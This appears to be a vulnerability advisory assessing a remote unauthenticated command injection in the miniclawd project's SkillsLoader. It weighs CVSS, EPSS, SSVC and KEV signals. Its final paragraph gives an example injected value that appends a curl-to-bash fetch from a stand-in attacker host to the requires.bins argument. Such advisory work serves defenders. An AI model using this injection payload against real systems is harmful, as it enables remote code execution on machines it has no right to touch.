FoundDream miniclawd EUVD-2026-31671

CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N confirms: No special conditions - remote unauthenticated exploitation against default configurations of miniclawd. The SkillsLoader component must be active and processing attacker-reachable input (i.e., miniclawd must be network-accessible and the skill-loading pathway must be reachable without authentication). Limiting factors are: (1) miniclawd is a relatively niche project, limiting the attack surface to organizations that have specifically deployed it; (2) technical impact is partial (VC:L/VI:L/VA:L) suggesting process-level rather than full system compromise, though this depends on the privilege level of the miniclawd process; (3) no active mass exploitation confirmed (no KEV listing). The rolling release model means no configuration-specific mitigations are documented by the vendor.

Despite a moderate CVSS 4.0 base score of 5.5, the attack profile warrants elevated attention due to converging risk signals. The vector AV:N/AC:L/AT:N/PR:N/UI:N represents a worst-case accessibility profile - remotely exploitable, low complexity, no authentication, no user interaction - which is inconsistent with a 'moderate' risk framing and primarily reflects the partial confidentiality/integrity/availability impact (VC:L/VI:L/VA:L) rather than any meaningful barrier to exploitation. EPSS at 1.04% (78th percentile) indicates elevated exploitation probability relative to the CVE corpus, though mass scanning campaigns are not yet confirmed. SSVC flags this as automatable with a POC exploitation state, reinforcing that scripted attacks are feasible. The absence of KEV listing is the primary mitigating signal - no confirmed active exploitation by CISA at time of analysis. A critical compounding factor is the vendor's non-response to disclosure and the rolling-release model, which means defenders cannot rely on a patched release version. The combination of a public POC, automatable attack, zero authentication barrier, and no patch creates a materially higher real-world risk than the CVSS score alone implies.

A remote unauthenticated attacker identifies a network-accessible miniclawd instance and submits a crafted request that populates the requires.bins argument with a value containing shell metacharacters - for example, validbinary; curl attacker.com/shell.sh | bash. The SkillsLoader's which function passes this unsanitized value to a shell command, executing the injected payload in the context of the miniclawd process. A public POC demonstrating this technique is available via the GitHub issue tracker at https://github.com/FoundDream/miniclawd/issues/2, lowering the bar for exploitation to script-kiddie level.